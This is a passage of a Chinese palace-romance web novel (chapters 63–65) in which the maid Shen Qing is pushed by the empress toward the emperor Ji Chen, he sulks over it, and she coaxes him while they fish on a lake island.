沈青不知道他是怎么得出这个结论的,低头鼓了鼓脸,有点不乐意,皇后这是生怕皇上不睡她啊。 但也有一种可能,是西域的香膏本就带此功效。 沈青避而不谈,扬起小脸催促着问:“那您喜欢这香气吗?” 这香气简直是紧紧扒在她皮肤上,霸道的似乎从骨缝里散发出来的一样。 “只要是你用的,什么朕都喜欢。” 沈青看清了纪宸深邃的眼眸,那样子,仿佛在说什么再正确不过的话。 纪宸最擅长的是蛊惑人心吧。 沈青翘起唇角想罢,揉了揉眼,拖长声音软绵道:“陛下,我困了,送我回去吧。” 纪宸抚了抚她的长发,宠溺地道了声好。 虽说沈青没有因为这句话而感动到泪眼盈盈地望向他,可又怎能说她不动容呢? 有时候回避同样证明触动到了她的心弦。 第63章 第63章宫女六十三日 翌日卯时,妃嫔到水芳岩秀给皇后請安。 請安过后,章才人正要如往日那般留下,却听皇后道:“今日本宫要請皇上来用午膳,需要早早准備,就不多留你了。” 章才人颔首称是,识趣地离开。 出了水芳岩秀,却见本應早早离开的嫣婕妤主仆停在树下,并向她望来。 原是冲她来的,章才人暗道一声不妙。 对于嫣婕妤、玉嫔等能勉强称为宠妃之流,她向来是能避就避,一点都没有想和她们打交道的意思。 但耐不住人家有備而来啊。 因为嫣婕妤的位份比章才人要高,章才人不能视而不见,便停下冲嫣婕妤行了个礼。 “妹妹不知我为何要在这儿等你吗?”嫣婕妤率先开口,眼睛微眯,趁得她那双眼睛狭长似狐。 章才人露出困惑,不谙世事道:“嫣婕妤莫要打哑谜了,嫔妾真不知婕妤所说的是什么事。” 嫣婕妤清楚四下只有她们这两对主仆,但仍稍稍压低了声音:“在到避暑山庄之后,妹妹日日伴在皇后娘娘身旁为皇后解闷,没有功劳也有苦劳,有好事皇后也该念着妹妹才是,可观章妹妹提前从水芳岩秀出来,可见皇后宁愿推举一名小宫女,也不愿多为妹妹筹谋一些。” “姐姐……只是为章妹妹不值罢了。” 章才人闻言心底了然,面上却只是笑:“婕妤这话说得嫔妾更糊涂了。” 嫣婕妤看向章才人,章才人仍是那副单纯带笑的样子,讓人瞧不出她内心的真实想法,还是说对皇后的打算一无所知。 嫣婕妤的眼中透出些許不爽,刺她道:“既是章妹妹大方,做姐姐的也就不多说什么了。” 说罢,她便转身带着星罗离开此處。 章才人在嫣婕妤身后行了礼,即便嫣婕妤离开,她的唇边仍带着笑。 只是这次,真心了許多。 她的宫女宝玑有点糊涂:“婕妤讥讽主子,主子您怎还高興?” 章才人想了想道:“一想到嫣婕妤千防万防,还想借我之手将未来的劲敌拔出,而我却根本不在乎,白白讓嫣婕妤浪费了一番心思,心里就覺得非常高興。” 章才人话音落下,也带着宝玑离开了。 水芳岩秀中,皇后已经给御前递了话,料想皇上不会拂了她的面子拒绝来水芳岩秀用膳。 毕竟她管理后宫處處周到,皇上还算满意。 果然,在亲自盯着膳食时,宫人传来消息,道是皇上会过来用膳。 皇后闻言出了厨房,去见沈青。 即便昨晚胡闹了一通,精神乏累,但沈青睡得久,嫔妃都请安离开了她才起身,因此面容不见倦怠憔悴之色。 她起身后,便被经验丰富的嬤嬤逮住亲自经手沐浴,沈青不知晓还有这一遭,连忙道:“我自己来!” 老嬤嬷木着一张臉,上面的皱纹深如沟壑,看着十分严厉毫不通融。 但在沈青可怜兮兮地看向她后,她停顿许久,往屏风后避了避:“洗干净点,洗完記得抹上润肤的玉膏。” 沈青连连点头,露出微笑:“谢谢嬷嬷。” 等沐浴完,她坐在铜镜前,老嬷嬷用她枯枝般的手开始打理沈青的长发。 在这之后,沈青的头发梳好,皇后便来了。 皇后温声交代道:“待会儿你跟在本宫身旁,待到用膳时为皇上布膳,在这之后,本宫会借口离开,一切便看你施展了。” “切記切记,万不可太过含蓄,就算皇上拒绝了你,你也要撲进他懷里。” 她就不信,懷里落了这么一个佳人,皇上会无动于衷坐懷不乱。 沈青垂眸,耳垂泛起薄红:“……是。” 皇后是说当着满屋的宫人,她主动撲向皇上? 这实在讓她有些无地自容了。 根本不敢想纪宸日后会拿这个怎么嘲笑她。 光听皇后这么说,便可看出她的绝决之意。 皇后的眼中闪过沉思。 这么一来,沈青若没能成功,以后不光不能在皇上眼前出现,底下的宫人也会议论于她。 最好的法子是将她留在避暑山庄,等到她二十五岁,她再降下懿旨,让沈青归家。 若是成功了,那自然最好,把沈青往配殿一放,皇上难道不会被勾着来水芳岩秀吗? 来了便会去看两眼大皇子,长久相处下来,人心皆是肉长的,不信皇上不看重大皇子。 就算只是避暑山庄这一段时间,亦是够了。 皇后抬眸,让沈青收拾妥当便来找她。 沈青称是行礼,目送皇后带着人离开。 这才缓缓坐下。 对于皇后的心思,沈青毫不意外,明白后,她心中的大石便放下了。 怎么说呢,如果她和皇上没有这一出,她会很高兴皇后事后竟会分心思为她周全。即便留在避暑山庄不是一个好归宿,她会蹉跎近十年光阴,出宫后大皇子宫人这个身份也会废掉。 但皇后愿意为她考虑一些,能记得她十年,便已是她莫大的荣幸了。 不过,她的心好像有些大了,一想到事后要留在偏殿,皇后的地盘,她就不可能无动于衷地接受这份安排。 不然这算什么,请安的时候离皇后的住处近,稍微走两步就能到了? 嫣婕妤尚不喜主位有人的感覺…… 一切妥当后,沈青来到皇后身边,算算时间,皇上也该动身了。 皇后的目光落到沈青身上,只见她穿着一身霜色衣裙,腰身被一根带子松垮系住, 显得腰肢纤细不盈一握,领口半掩住精致的锁骨,让人的目光不由自主往下落,想一窥内里的风光。 她仍是低眉顺眼的姿态,但再没有人会像从前那般忽略她。 即便不看清她的臉,亦会被她的背影所吸引。 更不必说皇后知道沈青胆怯着看过来时,那双半含着钩子的眼眸,所带给人的酥麻感。 叫人无法拒绝她所说的任何请求。 皇后收回视线,带着人到门口迎接皇上。 耳边传来一串马蹄声,往远处瞧,见到纪宸纵马而来,宽大的袖袍空荡荡往后飘,露出一截他握着缰绳而绷出结实肌肉的手臂。 避暑山庄的规矩不如皇城森严,他自是不必时时以龙辇代步。 皇后被眼前这一幕晃了神,依稀记起了她当初为何要以妙龄入太子府,仅是做一名侧妃。 现在的她得到的比她预料到的还要多,只除了怀孕后除了初一十五便没有的恩宠。 沈青没有抬眼去看,她还在琢磨着之后该怎么办。 纪宸自皇后一行人不远处便下了马,视线不经意般飘向沈青身上,眯了眯眼,叫人揣摩不清他的态度:“皇后怎么出来了?” 皇后言笑着说了些话。 御前的太监此时追上纪宸,沉默无声坠在皇上身后。 一行人开始往里面走。 为了这次午膳,皇后特意布置出了一间屋子,四面是轻纱环绕,人坐在中间用膳,帐幔后面还放了一张供人歇息的床,只需往那边走两步,便能看到。 膳食被宫人们一一呈进来。 纪宸落座于主位,皇后坐在他旁边,沈青立在皇后边上。 两人不语,开始用膳。 皇后朝沈青使了个眼色,沈青默默从皇后身边走到纪宸身侧,纪宸执筷的手稍顿,便见沈青将他的筷子从他的手中拿走了。 两人的手轻轻碰在了一起,因纪宸太过惊讶,手部放松,居然就让她那么自然的顺走了。 沈青沉浸在自己的世界里,她没有给人布过膳,对这些规矩自然不爱学,尚还没发现什么不对。 等到她选了一个容易夹到的菜准备放到纪宸的碗里,才猛然发现纪宸没有筷子了。 筷子被她拿走了! 她應该拿公筷才是。 沈青的眼睛一瞬间睁的圆溜溜的,克制住想抬头的冲动,她震惊于自己怎么可以这么蠢,一时间也陷入两难境地。 预备放入纪宸碗中的动作僵住。 然后她明显思考了一瞬,才颤巍巍地举手,将菜递到纪宸嘴边,脸一点点变红。 沈青的眼睛半垂不垂,目光能看到的唯有纪宸嘴巴以下。 并不知晓他的神情如何。 心里只想着赶緊把这个坎跨过去,她再把筷子还给纪宸,顺势拿起公筷,事情就不算太坏。 大约吧…… 沈青看不到,皇后却看得分明,她从纪宸的眼中看出了兴味,从头到尾没有皱眉没有生怒,只是愕然之后便平静地等着沈青接下来的反应。 这是个奇怪又很妙的发展,代表着沈青误打误撞入了纪宸的眼。 再之后,眼见着沈青明明发觉了不对,却没有立刻请罪,反而寄希望于糊弄过去,天真的可怕。 皇后心中为沈青捏了一把汗,皇上可不是能被随意糊弄的人。 她已经做好了为沈青求情的准备。 却见皇上就那么神情淡淡地吃下了沈青喂过来的菜,丝毫没有问罪的意思,更甚至任由沈青将筷子掰开他的手还给了他,然后欲盖弥彰地拿起公筷,緊急将一样菜放入他的碗中。 纪宸心中觉得好笑,但又不能笑出声,还得顾全着她脸皮薄为她遮掩。 一时之间忍得尤为辛苦。 所以在皇后轻咳一声:“皇上,臣妾需要下去更衣。”时,纪宸颔首,任由皇后带着人离开。 皇后将随侍的人带走,屋内顿时一空,几名皇后宫里的宫人知道情形也顺势退了出去,这下便只剩沈青和纪宸,以及纪宸带来的太监。 更甚至那些太监沈青昨晚还见过。 她想,现下若是扑进纪宸怀里,她大概是不会尴尬到以头抢地了。 说干就干,沈青放下筷子,大胆地抬头看了纪宸一眼,见他唇边含笑的模样,便生出了一往无前的勇气,眼睛一闭扑进纪宸怀里。 若是不这样做的话,大抵纪宸压根不会往那方面想。 纪宸搂住沈青,即便被闷头撞了过来,也仍旧不动如山,稳稳地接住了沈青,满怀的脂粉香味混杂着昨日的异香扑鼻。 此时的他隱隱预感到有些事已经脱离了他的掌控。 唇边的笑意慢慢落了下来。 沈青夏天不爱上妆,但今天却被人精心画了个妆,头发不像她自己会梳的,身上触之生凉的绸缎也不是她能得到了。 她现在就像一件被精心布置的礼物推到了他的面前。 因为旁人觉得,他作为皇帝,会贪恋这名宫女的色相。 纪宸捏紧了手,不知是因为沈青被这么对待生气,还是为旁人揣度他的心思生气。 沈青埋进纪宸怀里并没有安分下来,她伸手,一点点爬到纪宸的衣领处,想剥开他的领口往里面钻去。 这般,纪宸应该明白是什么意思了吧。 下一刻,一只大手钳制住了沈青的手腕,突然之间,她被拉了起来,被迫跟着纪宸往外走去。 纪宸走得怒气冲冲,情绪不再遮掩,似是一刻都不想在这呆了。 沈青面上一怔,不明白发生了什么,他怎么就生气了,只能小碎步跟上他,后面直接小跑了起来。 接下来,一切都乱套了,皇后见纪宸出来,想叫住纪宸,纪宸没理,径直带着沈青离开了水芳岩秀,然后将她带上了疾奔,拉着缰绳往他的寝殿跑去。 一路上,纪宸除了驾马,一言不发。 沈青只能默默握上纪宸的手腕,企图浇灭他莫名升腾起的怒意。 但貌似没什么用,因为纪宸一到他的寝宫,便将她抱下了马,大步往宫殿里走去,直至她被稳稳放到了床上,动作仍是粗暴的。 沈青双手抵在床上,略微倾斜地坐着。 纪宸的身体朝她压来,并未做什么,与她之间隔了一些距离。 “皇后将你当成一个物件,你不生气吗?”纪宸深深皱眉压抑着发问。 沈青一懵,良久,她抿了抿唇回答道:“皇上,我是宫女啊。” 她这个身份有什么好生气的,难道她被吩咐一次就要生气一次吗?那她真是有生不完的气了。 他居然纠结于此?可当初他不也是这么对她的吗? 正因为她是宫女,他当初才会将她拉到床上。 他们夫妻俩,简直是一模一样的姿态,纪宸居然好意思迁怒皇后。 真是不可理喻。 这么想着,但沈青却不会这么说,她推了推纪宸,在他翻身躺下后凑近搂住他的劲腰,并将脸颊贴在了他的胸膛上,软乎乎道:“皇上不要生气了,我这不是成您的了吗?” “我是您的,您不高兴?”沈青在纪宸的腰腹上用手指打着圈。 纪宸伸手描摹着沈青的眉眼,望向帐顶,不用想就知道她没心没肺的模样。 但这不对,沈青是他看上的人,她的身份注定尊贵,即便皇后不知道,也不应该把这些肮脏的手段用在沈青身上。 日后宫人提起沈青,会说什么?会说她是被皇后献媚于他固宠的手段。 装模作样的嫔妃会踩着她不光彩的献身讥讽于她,用看不上的目光扫视她。 偏偏这是事实,沈青只能无措地站在原地。 纪宸越想,便越生气,竟隐隐迁怒到沈青身上,怪她的懦弱,怪她对此事的不在意。 如果昨天就跟他说了,他绝对不会放着不管,让她独自面对。 可她一句话都没有说,任由皇后将她献给他。 是不是在她心里,他就如此急色,并高兴地笑纳她这份礼物? 纪宸低头,冷着脸扒开沈青的手,头也不回的离开了。 望着纪宸离去的背影,沈青坐起来,叹了口气,再一次感叹莫名其妙,刚刚她的耳朵紧紧贴着他的胸膛,听着他重重的一起一伏的呼吸声便觉得不妙。 纪宸的脾气绵长又剧烈。 还真被她猜中了,早知道,她刚刚就和纪宸一起义愤填膺了。 虽然这真没什么好气的。 沈青摸着下巴,她急啊,生怕哄不好,但没急到火急火燎,心里无赖地想着。 等他生完气再去哄吧,左右在他的地盘,压根不给她像上次一样当作无事发生就那么拖延的机会。 还有,再不许这么撂下她就走了! 不管如何,再生气也得在她身边闷着生。 第64章 第64章宫女六十四日 沈青从寝宮中出来,便见到了院中的亭台小樓,掩映亭台的绿植下,是种有大片荷花的水池,红绿交映,夏天的暑气似乎也在这样的景致下一扫而空。 纪宸此时负手站在一侧的小樓上,若非特意往那边瞧,根本看不见。 所以沈青找了一位还算眼熟的小太監询问:“皇上帶回的猫在哪儿?” 小太監当即伸手道:“请姑娘往这边走。” 沈青随他而去,在一间小屋内见到了一只浅黄色的幼猫,浅黄色是小猫背部的顏色,越接近额头,它的顏色越深,甚至稍微有点变橘,四肢和腹部则是白色,猫爪垫一看就是香香的嫩粉色。 小猫的瞳孔则是蓝黑调,目光纯然,瞧着像是出生没几天,但身上的毛打理的很干净,身下铺着垫子,旁边放了小半碗羊奶。 只一眼,沈青便心生喜欢,拿手指輕輕顺了顺它的毛。 小猫被逗弄,伸着爪子来扒她,沈青情不自禁露出微笑。 太監适时道:“这只小猫是皇上昨儿放在衣裳里亲自帶回来的,并寻了山庄最会养兽的人来悉心照料,现下还没取名字。” “那帶上它去找皇上起个名好了。”沈青思量着,手法娴熟地抱猫,面上已经是被小猫俘获的沉醉笑容,眼睛还盯在手里的小猫上,问起太監:“皇上在哪儿?” “这……”太监犹豫道,“皇上不讓奴才们告诉你。” 沈青调整了下姿势,讓猫卧得更舒服一些,对他安抚道:“那我就不为难你了,我自己去找皇上就好。” 小太监欢快地哎了一声:“皇上许是在哪儿赏景呢!” 皇上临走时雖是这般吩咐不让透露他的行踪,但说出口前明显停顿了一下,说出口后又没走,料是还想吩咐他们什么,但又没说,这才甩袖走了。 所以他估计皇上既想见人,又不想被找到得那么輕易。 沈青唇边含笑,点头谢过他,便出去找纪宸了。 此时,以纪宸的视角,沈青刚从殿中出现,便被太监带离了他相反的方向,他皱了皱眉,认为那名太监不该那么没眼力见,紧接着,沈青带着小猫再次出现在他的视野里,雖然低头摸着小猫,并未寻找他,但纪宸的眉头还是舒展开了。 今日的天气不错,风和日丽,微风吹拂着沈青的发丝,发髻中的莲花玉簪与身后满池的荷花相得益彰。 景美,人更美。 纪宸默默看着这一幕。 终于,沈青抬头,开始找起纪宸。 她先是用目光在周围的小筑亭台逡巡了一圈,并没有发现什么,于是绕了一圈,去找被郁郁葱葱的大树遮挡起来的地方。 沈青在小楼下发现了纪宸,有他身边跟着人的原因——皇帝去哪儿都是興师动众的,即便现下纪宸简略了些。 沈青确定纪宸目光在她身上,当即捧起小猫,朝他笑了笑。 她的笑容温软,在不那么刺眼的日光下,犹如春暖花开。 而纪宸,依旧是那副死样子,冷着臉,除了目光一直追随在沈青身上。 沈青见状也不恼,找到上小楼的路,走到他跟前,将猫捧到臉前,唇边的笑容更甚:“看,可爱吗?” 这猫是纪宸带回来的,他怎会不清楚,可猫有什么好夸的,但他也不想沈青的话落空,便道:“你比猫更可人爱。” 他的目光浅淡,語气也少了几分热忱,平常了许多。 可他怎么能用最平常的語气漫不经心说出夸人的话—— 什么可人爱……沈青默默将猫放下,干笑两声,回归正事:“皇上好像没有给猫起名,总不能这样猫呀猫呀的叫它。” “你可以给它起。” 沈青不假思索道:“可这不是我的猫。” 纪宸垂眸,声音越来越轻:“是朕为你寻的,你随意处置便是……” 如果她来只是说猫,那便没什么可聊的必要了。 沈青刚还在想纪宸即便生气也有问有答的,可观他的样子,似是会随时抽身离开这里,便将猫交给了跟在她旁边的小太监,并嘱咐了一句,小心些。 便看向纪宸:“皇上想去哪儿走走?” 纪宸闻言下了楼,沈青跟在他身后,心中暗暗打定主意,不论他去哪儿她都要跟着。 她是能开口哄一哄,但这治标不治本,该有的身份问题还是横亘在他们中间,无解。 而且她虽能了解纪宸愤怒的理由,毕竟她是他的,纪宸可能覺得一荣俱荣一损俱损,但是勾起纪宸迁怒于她的地方,她却是不懂了。 沈青覺得,不懂那便慢慢想吧,真把纪宸拋一边,那才是分不清谁是皇帝了,纪宸反應过来定然觉得她触犯了他的君威。 所以无论纪宸去哪儿,身后都跟了条小尾巴,这尾巴不同于随侍的太监,因为纪宸还得顾着她的步子放慢了来。 真走快了把人甩后面他又是不乐意。 但这尾巴就是不说话,嘴巴死死抿着,说两句软话跟要了她命似的。 錢继看着这一幕,一边惊叹沈青的大胆,一边苦恼两人不知又因什么赌气了。 说沈青不尊敬皇上吧,人家笑盈盈地来了,可说尊敬吧,除了最开头围绕着猫说上两句,便闭口不言了。 沈青犟着不说,皇上也犟着一点神色都不缓和。 所以他们眼前出现了这样奇异的一幕,皇上往前走,沈青在后跟着,皇上后知后覺步子太大停下来回头等着沈青,沈青碎步追上,臉上微笑、弯唇,皇上将她的表情纳入眼中,然而脾气大,无动于衷,转身目视前方继续走,只是这次步子慢了下来。 錢继伸手抹掉额头上的汗水,心中不停地哎呦喂。 但是,这又哪是他能开口调节的? 一行人并没有在正宮区逛多久,反而去了其他风景秀丽的地方。 避暑山庄多湖,纪宸目光看向湖心位置,便道:“找一条船,去湖心小岛钓鱼。” 底下的奴才很快行动起来,加之本就有为主子们备着的小船,只稍微准备了些钓鱼用的东西便妥当了。 恰在这时,玉嫔出现了,见到皇上,自是连忙唤了一声,脸上露出止不住的开心笑容,快步走近行礼道:“嫔妾参见皇上。” 皇上嗯了一声。 玉嫔起身,拿帕子擦了擦脸颊道:“皇上可是要去湖心小岛,嫔妾亦想一同前往,皇上可否带嫔妾一程?” 虽说现在是大晌午,顶着一天最烈的太阳去乘船她是不愿的,但是跟皇上一起,她却是愿极了的。 含怒着的皇帝对谁都不会有好脸色,也起疑玉嫔出现于此是窥探圣踪的结果,利索道:“不成,你也不要去了。” 说罢纪宸看向錢继:“今日不要让人去湖心小岛败了朕的興致。” 玉嫔僵住,这哪是吩咐钱继拦其他人,明明是当众打她的脸! 钱继紧接着称是。 纪宸略过玉嫔,登上了船。 这条游船说大不大,说小不小,虽是一應物什齐全,既有遮阳的篷盖,又有烧水沏茶的小炉,但过于精致实际上也就能乘下三四个人,加上划船的船夫…… 沈青有些犹豫要不要上去,毕竟纪宸连玉嫔都拒绝了,玉嫔也没有走,仍看着。 但她若不上去,先前跟随的都白费了,显 得心一点都不诚。 沈青感受到玉嫔落到她身上的目光,心一横,登上了小船进入了船舱。 纪宸此时已经坐了下来。 沈青坐在他身边,道了一声:“若是皇上不愿与我同乘,我这便下去换一条船。” 说着,她作势准备起身,却被纪宸眼疾手快地按住了手。 纪宸觑了一眼装腔作势的沈青,若是现在下去,那像什么话,玉嫔岂不看轻了她? “不准走。” 沈青笑着重新坐下。 纪宸刚准备将手拿开,却被沈青反握住,他去看她,却落入一双灿若星子的眼眸。 真是……没心没肺。 纪宸撇开脸,手却没有抽走。 沈青不急着降他的火气,她倒还觉得纪宸这副样子有趣,生气吧,就这么闷着生一天的气才好。 一路无事抵达湖心小岛。 到小岛上,沈青松开手,另一条载着其他人的船也抵达,纷纷上前布置好一应事宜,纪宸开始坐下钓鱼。 钱继偷偷看了沈青好几眼,直把沈青看得悄悄与他的视线对上。 钱继无声道,皇上。 沈青能稳得住,他却不能了,只想尽快催促两人和好,或沈青先低个头,或沈青将皇上哄好,至于要求皇上的,则祈求着他顺杆下来,可别再矜持了。 话虽不好听,但毕竟哪有皇帝生气,还要皇帝自己平息的说法。 沈青拽了拽纪宸的衣袖,不走心道:“您莫要再气了,当心气坏龙体。” 纪宸道:“朕没有气。” 沈青抬头看了他一眼,确实不见丝毫怒气,都冷成冰霜了。 沈青好脾气,但仍掩饰不住语气低落道:“可您突然将我拋下,我当真是惶恐的厉害。” 纪宸手上的动作一僵,任由鱼竿剧烈抖动。这湖里的鱼被好吃好喝的养着,有些笨,见到钩子就咬。 沈青托着下巴继续道:“皇上为我生气,我很高兴,但迁怒到我身上,我真觉得有些冤枉,皇上不妨将我做错了什么都告知我,我好一一照着改。” “我现在能依靠的唯有皇上了,若是您也将我彻底抛下,我就成地上能被任意碾过的泥,什么都不是了。” 纪宸开口:“朕不会。”即便沈青要松手,他也会为了一己私欲将她留在身边,所以不必如此谦卑,尽可着嚣张跋扈来,他也不会对她做什么。 沈青恍若未闻,唇边渐没了笑的模样:“皇上离开的时候,头也没有回,我真是不安极了,害怕又泄气,良久才出了殿门,又不敢去直接找你,只好抱了猫去,想着您看在猫的面上也能开心两分……” 纪宸的手放在沈青的两只手上,紧紧握住。她的手颤抖着,似是回忆起寝宮那段短暂又漫长的时光,又在纪宸紧紧握着她双手的状态下,慢慢感到安定,平复下来。 “莫要说了。”纪宸已经抛下了鱼竿,死死盯着她,眉头深深蹙起。 想安慰,又不知从何说起,最终,居然吐露出这么无情的话。 沈青吸了一口气,不去看他:“……我就是想说,看您不开心,我想不到什么办法化解您的满腹怒气,只得时时伴在身旁,亦不敢露出忧愁,只希望您一回头便能看到您中意的好颜色,烦忧皆散。” 她委屈低声道:“可是好像没什么用,您该生气还是生气,吓得我都不敢说什么了。” 纪宸冷硬的心渐渐软和下来,虽说他觉得这一路上沈青的笑颜不似作伪,但细想之下,好似真能体会得到她笑着时的哀意。 全因心系着他。 “可你并非什么都没说。”纪宸计较道。 既说了,何必说些他不敢兴趣的。 沈青幽幽道:“难道我鼓起勇气跟您没话找话还错了?闷葫芦有一个就够了,我并不想当第二个。” 两人的视线相逢,沈青理直气壮去瞧他,纪宸不自在的偏头。 “皇上,能容我靠近您一些吗?” 纪宸闻言,直接将沈青的椅子拉到他身侧,然后伸手放到沈青的另一侧发髻,将她的头压靠在自己的肩膀上。 还需要问?直接缠上来便是。 沈青唇角微弯:“所以皇上到底在气我什么?别说没有气,您推开我就走了。” 这件事,她要记他一辈子,沈青小心眼地想。 纪宸咽下想要保存颜面的没有气三个字,道:“气你懦弱,气你不懂反抗,更气你的好脾气。” “你身后有朕,便是嚣张些闹一通,也好过顺从皇后的安排,你可知你这般选择旁人会如何议论于你,你日后与皇后反目,旁人又会怎样旧事重提?你的性格,难道旁的嫔妃欺负到你头上了,你也不跟朕说,独自咽下委屈吗?”他真是越说越气,语速也不由加快。 纪宸低头,更将沈青往怀里揽了揽。 沈青终于是听明白了,恍然大悟:“皇上原是怪我没和您提及?” 纪宸哼了一声。 沈青大为委屈:“可这不是想给您一个惊喜么——您先别说话!我知道搞砸了,您也不喜欢,可,我的初心又没错!” 纪宸伸手恨恨地捏了捏沈青的脸颊:“在你心中,朕就是一个好色之徒?只需打扮的美貌,便尽可往朕怀里推?” 沈青心里怀疑,难道不是吗,面上正色道:“我当然知道皇上是正人君子,可这不是笃定您不会拒绝我,才答应了这个蠢主意吗?” 事情又绕回了最原始的问题,纪宸道:“那也不能这么轻贱自己……” 他真是讨厌死了,说话这么直白,沈青心里不舒服,好像也意识到了不妥:“这事我有错,当时只想着我是宫女,得听皇后吩咐……” “现在你不是了,朕这就让钱继拟旨!”纪宸打断她道。 钱继准备上前。 沈青连忙拉住纪宸的手:“您现在封我,我住哪儿啊,况且,您封了我,我就得日日天还没亮去皇后的水芳岩秀请安,您就饶了我吧,不是说等下半年么,这才哪儿到哪儿。” 反正她都呆在纪宸这儿了,何不干脆趁着便利在避暑山庄都留在纪宸身边。 一是不用应付嫔妃,嫣婕妤和玉嫔绝对会找她麻烦,二才是不想去请安。 纪宸戳破她道:“主位出行可以乘轿辇。” 请安算什么,人到了就行了。 “那嫔妃呢,您也为我挡着?”沈青死死按住他的手。 纪宸:“随行的除了皇后,没有人比你的位份高。” 两名妃位都在皇宫,若是连这些个嫔妃都压不住,就仍是他生气的根源,脾气过软。 沈青:“呃……” 她抱住纪宸,软乎道:“可我不想离开您。” 近水楼台先得月,再没有比这时更好的时机了,回宫后,她的宫室离乾清宫还不知多远呢。 纪宸认为她软弱,她也不会反驳,即便沈青不觉得自己是个会受欺负的。 既能被怜惜,她何必破坏这个印象。 沈青再接再厉,哽咽道:“您就算再觉得我不争气,也不能揠苗助长!” 纪宸低头看她,慌乱抹去她的泪珠,终是心软地叹了口气,抱着沈青轻声地哄着。 此时心中哪还有什么气啊。 正如沈青所说,她是个不争气的,他又何必苛责,好生护着就是了。 她原不是当妃嫔,更非当宠妃的料,但他就想将她宠成宠妃。 沈青呜咽着:“那您下次生气,还抛下我吗?” “朕这次错了。”纪宸了当低头。 沈青倒打一耙:“不是不让你生气,你就算生气,也得在我旁边生,好歹给我哄您的机会啊。” 纪宸心里软的一塌糊涂:“嗯。” 第65章 第65章宫女六十五日 沈青抹掉眼尾的泪珠,懒洋洋靠在纪宸怀里:“陛下,我们待会儿吃你釣的鱼行吗?” 哄皇帝真是个体力活,她现在一点劲儿都使不出来了。 纪宸闻言上手摸向沈青的腹部,皱眉感到不妥:“你没用午膳?” 他竟大意到这种地步,从寝宫出来时居然没让人给沈青备好膳,在皇后的水芳岩 秀,他好歹是执了两筷,后来又被气饱了,一顿不吃他是不饿的,但沈青在这期间却連水都没喝一口。 思及此,纪宸不由产生了些愧疚。 他跑这么远做什么?这里现在就些茶水糕点,光是听着便没滋没味,何谈入口。 沈青不用去瞧纪宸就知道他在想什么,連忙道:“吃了的。” 她看着湖面痴笑道:“去伺候陛下,不提前垫垫肚子哪还有力气?” 纪宸瞬间明白她隐晦的意思,好在还算知羞,只压低声音叫他听见。 纪宸放心之余,低头点了点她的鼻尖,眼中闪过笑意:“促狭。” 沈青当即正色:“奴家说的是布膳,陛下想哪儿去了,该罚!奴家可还是个心思澄澈的好姑娘。” 纪宸对她这副样子当真是又爱又恨,刚刚还娇娇的一个人,现下坑起他来毫不手软。 他恨恨地掐了掐沈青脸颊上的软肉。 此时的沈青已经挽着他的胳膊跳过了这茬,掰着手指头道:“陛下,我想吃蒸的鱼煮的鱼烤的鱼炸的鱼,您能釣上来吗?” 纪宸叹了口气:“只要你不动朕的竿子,多少條鱼都能釣上来。” 沈青赞同点头:“这湖里的鱼都笨,已经咬了好几次鱼钩了。” 纪宸看向她,你还知道啊。 虽说是咬了几次鱼钩,但他身边有沈青牵绊着,一條都没钓上来,全给放跑了,难为他只是叹息。 錢繼在一旁看的愕然,皇上最讨厌别人打搅他的興致了,虽说皇上素来在意沈青,可没说为着沈青连自己的雅興都不顾了,这可是头一次。 且这次皇上叹气不像以前被嫔妃打搅了暗暗隐含着不悦与警告,听那声音,分明很高兴,哪是责怪,俨然是在取悦人。 情爱这东西,皇上竟真的坠进去了。 錢繼曾听他師父暗暗感叹皇上肖似先皇,当时还不覺得,但现下,皇上对沈青姑娘的骄纵劲儿,比起先皇待昭貴妃,他们禦前的人都能瞧出有过之而无不及。 但是……錢繼想起昭貴妃的结局,竟一时不知将沈青类比昭貴妃,是她的幸还是不幸。 昭贵妃的结局,可不太好,能好好活着,谁又愿意陪葬呢? 譬如他師父,也是被先皇下了暗旨,要随着到地底下继续伺候的,但皇上覺得他师父钱全忠还算得用,便出手带到了身边。 新皇和旧皇,肯定是新皇的命令管用,且一个太监也不打紧。 他师父也是真的感念皇上,后宫那般驳杂的势力也在短短几年内梳理清晰了几分,虽然没到水清石见的地步,但较之以前可好太多了。 不过皇上那般强烈反对陪葬的態度,多年后,也许不会是下一个先帝。 沈青也要幸运许多。 钱继敛目,赶紧将心中有些不敬的杂念撇开,不能再想了。 钓鱼是场拉锯战,沈青没催促着纪宸要立刻将鱼钓上来,托着下巴静静地陪着他。 而纪宸也分外耐得住性子。 鱼一条一条的钓上来,纪宸吩咐人将鱼处理了,然后按照着沈青的要求煎炸烹煮都来一遍。 纪宸还在继续钓的时候,旁边炊烟已经升起来了,沈青也吃上了心心念念的鱼肉。 品尝过后,沈青拿了副干净的碗筷,盛了一些没刺的嫩鱼肉,她自是不会忘了钓鱼的功臣。 她走到纪宸旁边,喂到他嘴边,俏皮道:“皇上,尝一尝您辛勤劳动的成果,是不是分外美味?” 纪宸低头就着筷子抿了一口。 湖里的鱼被精心饲养着,再经过精湛的烹饪手艺,能称得上滋味鲜美,入口即化。 被食物香气诱引着,他这时也感受到了久违的饿意。 沈青见此,便将碗里的鱼肉全喂给了他。 然后再去火炉旁边守着食物,鱼一好,她先解解馋,再给纪宸弄些。 纪宸回头看向认真盯着鱼,似是唯恐鱼跑了的沈青,一种奇异的情感在心中蔓延,好似他们是对寻常男女,他负责打猎,她负责敲着碗等吃饭。 虽废物了些,但他养得起啊。 这一下午的时光便在他们吃吃喝喝中度过,吃过鱼肉,他们还泡了壶花茶,甚至于纪宸还示意钱继等人回避,俯身趁沈青不注意親了她一口,直起身的时候,一脸满足的他和呆滞的沈青形成鲜明对比。 沈青跺着脚愤愤着纪宸是饱暖思那啥,在回程的船只上親回来便已是后续了。 另一厢,玉嫔目送小船愈来愈远,知道自己留在这里无用,搅了搅手帕,让一名机灵的太监留意着湖岛的动静,自己折返回住处。 她一直将视线停留在嫣婕妤、楚贵人身上,竟不知皇上身边什么时候冒出了这样一个女子。 那女子玉嫔一开始并未关注,只一心扑在皇上身上,但随着她居然跟着皇上进入船舱,玉嫔的目光这才落到那人的背影上。 光从背影,玉嫔便察觉到了威胁,敏锐觉出若是任其发展未来定是她的心腹大患,不得不防,后经宫女提醒,她这才知道那女子竟是沈青。 沈青从前没有这般绰约多姿。 不过玉嫔又想,这半年她都未再见到沈青,抽条再正常不过了。 这么说来,皇后终究是办了这件事,将沈青送给了皇上,只是不知是在夏藐之前,还是这两天才送的。毕竟嫣婕妤到避暑山庄后想见沈青却没见到她是知道的。 